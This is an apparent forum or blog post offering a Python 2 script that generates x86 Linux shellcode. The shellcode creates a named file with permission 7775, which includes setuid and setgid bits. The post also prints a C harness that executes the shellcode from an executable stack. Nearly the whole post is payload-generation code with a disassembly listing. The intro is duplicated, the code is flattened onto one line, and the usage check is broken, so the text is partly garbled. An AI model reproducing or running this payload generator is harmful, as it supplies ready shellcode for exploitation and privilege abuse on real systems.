Hi guys,
The bellow Python code will generate the shellcode for create a file with permission 7775. You can run the code by,
$ python generator 'file_to_be_created'
The bellow Python code will generate the shellcode for create a file with permission 7775. You can run the code by,
$ python generator 'file_to_be_created'
#!/bin/python from sys import argv """ Shellcode Generator... Create file with permission 7775 --------------------------------------------------------------------------------- Disassembly of section .text: 08048060 <.text>: 8048060: eb 12 jmp 0x8048074 8048062: 5b pop %ebx 8048063: 31 c0 xor %eax,%eax 8048065: 88 43 05 mov %al,0x5(%ebx) 8048068: b0 08 mov $0x8,%al 804806a: b1 ff mov $0xff,%cl 804806c: b5 ff mov $0xff,%ch 804806e: cd 80 int $0x80 8048070: b0 01 mov $0x1,%al 8048072: cd 80 int $0x80 8048074: e8 e9 ff ff ff call 0x8048062 8048079: 61 popa 804807a: 6a 69 push $0x69 804807c: 74 68 je 0x80480e6 804807e: 23 .byte 0x23 --------------------------------------------------------------------------------- b4ck 2 h4ck --- Ajith Kp [@ajithkp560] --- http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih Shaantih Shaantih | """ bann3r = ''' /* [][][][][][][][][][][][][][][][][][][][][][][] [] [] [] c0d3d by Ajith Kp [ajithkp560] [] [] http://www.terminalcoders.blogspot.in [] [] [] [][][][][][][][][][][][][][][][][][][][][][][] */ ''' sh3ll = "\\xeb\\x12\\x5b\\x31\\xc0\\x88\\x43" sh311 ="\\xb0\\x08\\xb1\\xff\\xb5\\xff\\xcd\\x80\\xb0\\x01\\xcd\\x80\\xe8\\xe9\\xff\\xff\\xff" print bann3r if len(argv)<1: print 'Usage: '+argv[0]+' name_of_file' else: fil3 = argv[1] h3x = '' for i in range(len(fil3)): h3x+=str('\\'+hex(ord(fil3[i]))[1:]) h3x+=str('\\' + 'x23') l3n = '\\x'+hex((len(fil3)))[2:].zfill(2) sh = str(sh3ll) + str(l3n) + str(sh311) + str(h3x) print '// Compile with' print '// $ gcc -o output source.c' print '// $ execstack -s output' print '// $ ./output' print '////////////////////////////////////////////\n' print '# include <stdio.h>' print 'char sh[] = "'+sh+'";' print 'main(int argc, char **argv)' print '''{ int (*func)(); func = (int (*)()) sh; (int)(*func)();''' print '}' print '\n////////////////////////////////////////////'